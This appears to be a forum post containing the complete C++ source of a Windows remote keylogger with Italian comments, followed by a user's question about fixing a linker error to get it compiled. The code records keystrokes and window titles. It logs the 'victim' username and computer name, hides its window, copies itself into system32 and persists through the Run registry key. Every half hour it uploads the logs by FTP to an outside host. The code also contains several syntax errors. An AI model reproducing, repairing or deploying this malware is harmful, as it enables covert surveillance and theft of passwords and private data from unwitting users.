It looks like you're new here. If you want to get involved, click one of these buttons!
/*
#DakrGeneration Remote Keylogger
#Written By G0ld3n dr4g0n
#Keylogger in c++ con upload del file di log (denominato darkgen.txt e presente nella cartella system32 insieme al keylogger SysGen.exe)
#via ftp, ad intervalli di 30 minuti
#Per compilare con Dev C++ aggiungere la libreria libwininet.a prima della compilazione
#Copyleft 2010
#Perchè ci siamo rotti di questa cazzutissima copyright ;)
*/
#include <windows.h>
#include <wininet.h>
#include <winuser.h>
#include <fstream>
#include <ctime>
#include <iostream>
#include <conio.h>
//#include <libwininet.a>
// Modifica Con le tue credenziali di accesso
#define HOST \"www.sito.it\"
#define USER \"user\"
#define PASS \"password\"
using namespace std;
char Dest_log[255]= {0};
int sistema_infettato(char *prog_name);
int write_log(char c);
int write_log(char *s, bool timed = false);
void NomeLogRemoto (char *str);
void open_log (void);
void logNomeFinestra (void);
bool Shifted(void);
DWORD WINAPI ftp_upload(LPVOID lpParam) {
char LogR[255]= {0};
HINTERNET hCon, sFtp;
while(true) {
hCon = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hCon == NULL) {
write_log(\"\n!!! Errore connessione !!!\",true);
Sleep(1000 * 60 * 30);
continue;
}
sFtp = InternetConnect(hCon, HOST, INTERNET_DEFAULT_FTP_PORT, USER, PASS, INTERNET_SERVICE_FTP, 0, 0);
if (sFtp == NULL) {
write_log(\"\n!!! Errore connessione FTP !!!\",true);
Sleep(1000 * 60 * 30);
continue;
}
NomeLogRemoto(LogR);
if (!FtpPutFile(sFtp, Dest_log, LogR, INTERNET_FLAG_TRANSFER_BINARY, 0)) {
write_log(\"\n!!! Errore Upload Log !!!\",true);
InternetCloseHandle(hCon);
InternetCloseHandle(sFtp);
Sleep(1000 * 60 * 30);
continue;
} else {
DeleteFile(Dest_log);
open_log();
}
InternetCloseHandle(hCon);
InternetCloseHandle(sFtp);
Sleep (1000 * 60 * 60);
}
}
int main(int argc, char *argv[]) {
bool shift;
char NomeTasto[25];
HANDLE hThread;
if(!GetSystemDirectory(Dest_log, 255)) {
write_log(\"!!! Errore nell'ottenere il percorso di system32 !!!\", true);
sprintf (Dest_log, \"C:\\WINDOWS\\system32\\darkgen.txt\");
} else
strcat (Dest_log, \"\\darkgen.txt\");
open_log();
sistema_infettato(argv[0]);
hThread = CreateThread(NULL, 0, ftp_upload, NULL, 0, (DWORD*) 0);
if (hThread == NULL) {
write_log(\"\n!!! Errore Creazione Thread !!!\", true);
}
while (true) {
while(!kbhit());
for (int i=8; i<=256; i++) {
if(GetAsyncKeyState(VK_SHIFT)) { // Se Shift è Premuto
for(int i=65; i<=90; i++) // ATTENZIONE SE E' attivo VK_CAPITAL i caratteri devono essere minuscoli.
if(GetAsyncKeyState(i)== -32767) write_log(i);
for(int i= 48; i<= 57; i++) // caratteri =!\"£$%&/()
if(GetAsyncKeyState(i) == -32767) {
if(i==48) write_log(61);
else if(i==51) write_log(163);
else if(i==55) write_log(47);
else write_log(i-16);
}
if( GetAsyncKeyState(220) == -32767) write_log(\"|\");
if( GetAsyncKeyState(188) == -32767) write_log(\";\");
if( GetAsyncKeyState(190) == -32767) write_log(\":\");
if( GetAsyncKeyState(189) == -32767) write_log(\"_\");
if( GetAsyncKeyState(186) == -32767) write_log(\"é\");
if( GetAsyncKeyState(187) == -32767) write_log(\"*\");
if( GetAsyncKeyState(192) == -32767) write_log(\"ç\");
if( GetAsyncKeyState(222) == -32767) write_log(\"°\");
if( GetAsyncKeyState(191) == -32767) write_log(\"§\");
if( GetAsyncKeyState(219) == -32767) write_log(\"?\");
if( GetAsyncKeyState(221) == -32767) write_log(\"^\");
if( GetAsyncKeyState(226) == -32767) write_log(\">\");
if( GetAsyncKeyState(VK_SPACE) == -32767) write_log(\" \");
if( GetAsyncKeyState(VK_BACK) == -32767) write_log(\"[DEL]\");
}
else { //Se Shift non è premuto
if(GetAsyncKeyState(i) & 0x7FFF) {
logNomeFinestra ();
shift = Shifted();
if(i > 47 && i < 91) {
if(shift == false) write_log(tolower(i));
else write_log((char) i);
}
else {
switch (i) {
case VK_RETURN:
write_log(\"\n[INVIO]\n\");
break;
case VK_SPACE:
write_log(\" \");
break;
case VK_BACK:
write_log(\" [DEL] \");
break;
case VK_DELETE:
write_log(\" [CANC] \");
break;
case VK_UP:
write_log(\"\n[FRECCIA SU]\n\");
break;
case VK_DOWN:
write_log(\"\n[FRECCIA GIU']\n\");
break;
case VK_LEFT:
write_log(\"\n[FRECCIA SINISTRA]\n\");
break;
case VK_RIGHT:
write_log(\"\n[FRECCIA DESTRA]\n\");
break;
case VK_MULTIPLY:
write_log(\"*\");
break;
case VK_DIVIDE:
write_log(\"/\");
break
case VK_SUBTRACT:
write_log(\"-\");
break;
case VK_ADD:
write_log(\"+\");
break;
case VK_NUMLOCK:
write_log(\"\n[NUM LOCK]\n\")
break;
case VK_CAPITAL:
write_log(\"\n[CAPS LOCK]\n\");
break;
case VK_SCROLL:
write_log(\"\n[SCROLL LOCK]\n\")
break;
case VK_SHIFT:
write_log(\"\");
break;
case VK_LSHIFT:
write_log(\"\");
break;
case VK_RSHIFT:
write_log(\"\");
break;
case VK_INSERT:
write_log(\" [INSERT] \");
break;
case VK_PAUSE:
write_log(\"\n[PAUSE]\n\");
break;
case VK_CONTROL:
write_log(\"\");
break;
case VK_MENU:
write_log(\"\");
break;
case VK_LMENU:
write_log(\"\n[LEFT ALT]\n\");
break;
case VK_RMENU:
write_log(\"\n[ALT GR]\n\");
break;
case VK_ESCAPE:
write_log(\"\n[ESC]\n\");
break;
case VK_SNAPSHOT:
write_log(\"\n[STAMP]\n\");
break;
case VK_TAB:
write_log(\"\n[TAB]\n\");
break;
case VK_FINAL:
write_log(\"\n[FIN]\n\");
break;
case VK_NEXT:
write_log(\"\n[PAGINA DOPO]\n\");
break;
case VK_PRIOR:
write_log(\"\n[PAGINA PRIMA]\n\");
break;
case VK_HELP:
write_log(\"\n[HELP]\n\");
break;
case VK_NUMPAD0:
write_log(\"0\");
break;
case VK_NUMPAD1:
write_log(\"1\");
break;
case VK_NUMPAD2:
write_log(\"2\");
break;
case VK_NUMPAD3:
write_log(\"3\");
break;
case VK_NUMPAD4:
write_log(\"4\");
break;
case VK_NUMPAD5:
write_log(\"5\");
break;
case VK_NUMPAD6:
write_log(\"6\");
break;
case VK_NUMPAD7:
write_log(\"7\");
break;
case VK_NUMPAD8:
write_log(\"8\");
break;
case VK_NUMPAD9:
write_log(\"9\");
break;
default:
GetKeyNameText(MapVirtualKey(i, 0) << 16, NomeTasto, 25);
if(strlen(NomeTasto) < 2) write_log(NomeTasto);
else {
write_log('[');
write_log(NomeTasto);
write_log(']');
}
}
}
}
}
}
}
return 0;
}
void open_log(void)
{
DWORD bSize = 255;
const char titolo[] = \"{}{}{}{} Dark Generation Crew Remote Keylogger {}{}{} \nGreez to: Letal_Axel, Giuseppe69 & MZ \nCopyleft 2010 by G0ld3n dr4g0n \n\";
char NomeComputer[255], NomeUtente[255];
write_log((char *) titolo);
GetComputerName(NomeComputer, &bSize);
GetUserName(NomeUtente, &bSize);
write_log(\"\n{}{}{} Username utente vittima:\t\t\");
write_log(NomeUtente);
write_log(\"\n{}{}{} Nome Computer vittima:\t\");
write_log(NomeComputer);
write_log(\"\n\");
write_log(\"\n{}{}{} Ora Inizio:\t\",true);
}
int sistema_infettato(char *prog_name)
{
HKEY hKey;
HWND hWnd;
char destPath[255];
hWnd = FindWindow(\"ConsoleWindowClass\", NULL);
ShowWindow(hWnd, SW_HIDE);
if(!GetSystemDirectory(destPath, 255)) {
write_log(\"\n!!! Errore nell'ottenere il percorso della cartella System32 !!!\", true);
sprintf(destPath, \"C:\\WINDOWS\\system32\\%s\", \"SysGen.exe\");
} else {
strcat(destPath, \"\\\");
strcat(destPath, \"SysGen.exe\");
}
if(!CopyFile(prog_name, destPath, FALSE) {
write_log(\"\n!!! Errore nel copiare il file nella cartella System32 !!!\", true);
return 1;
}
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\", 0, KEY_SET_VALUE, &hKey)
!= ERROR_SUCCESS)
{
write_log(\n!!! Errore nella creazione della chiave di registro: \", true);
return 1;
}
if(RegSetValueEx(hKey, \"SysGen\", 0, REG_SZ, (const unsigned char*) destPath, strlen(destPath))
!= ERROR_SUCCESS)
{
write_log(\"\n[!] Errore nella creazione della chiave di registro: \", true)
RegCloseKey(hKey);
return 1;
}
RegCloseKey(hKey);
return 0;
}
int write_log(char c) {
ofstream logFile(Dest_log, ios::out | ios::app);
if(!logFile.is_open()) {
return 1;
}
logFile << c;
logFile.flush();
logFile.close();
return 0;
}
int write_log(char *s, bool timed) {
time_t cTime;
ofstream logFile(Dest_log, ios::out | ios::app);
if(!logFile.is_open()) {
return 1;
}
logFile << s;
if(timed == true) {
time ( &cTime );
logFile << ctime( &cTime )
}
logFile.flush();
logFile.close();
return 0;
}
void logNomeFinestra(void) {
static HWND hWnd = NULL;
char NomeFinestra[255] = {0};
if(hWnd != GetForegroundWindow()) {
hWnd = GetForegroundWindow();
if(GetWindowText(hWnd, NomeFinestra, 255)) {
write_log(\"\n{}{}{} Finestra: \");
write_log(NomeFinestra);
write_log(\" {}{}{}\n\n\");
}
}
}
void NomeLogRemoto(char *str) {
DWORD size = 55;
char cName[55], cTime[55];
time_t rawtime;
struct tm * timeinfo;
time ( &rawtime );
timeinfo = localtime ( &rawtime );
GetComputerName(cName, &size);
strftime(cTime, 55, \"%d:%m_%H:%M\", timeinfo);
sprintf(str, \"%s_%s.log\", cName, cTime);
}
bool Shifted(void) {
if((GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT)) & 0x8000) {
if(GetKeyState(VK_CAPITAL)) return false;
else return true;
}
else {
if(GetKeyState(VK_CAPITAL)) return true;
else return false;
}
}
[Linker error] undefined reference to `InternetCloseHandle@4'
After fixing errors after errors (Missing brackets and commas(,)), I still get an error:[Linker error] undefined reference to `InternetCloseHandle@4'
How is this error fixed?
Other than that, the code seems to be real nice.
-Cheers.
\"www.sito.it\"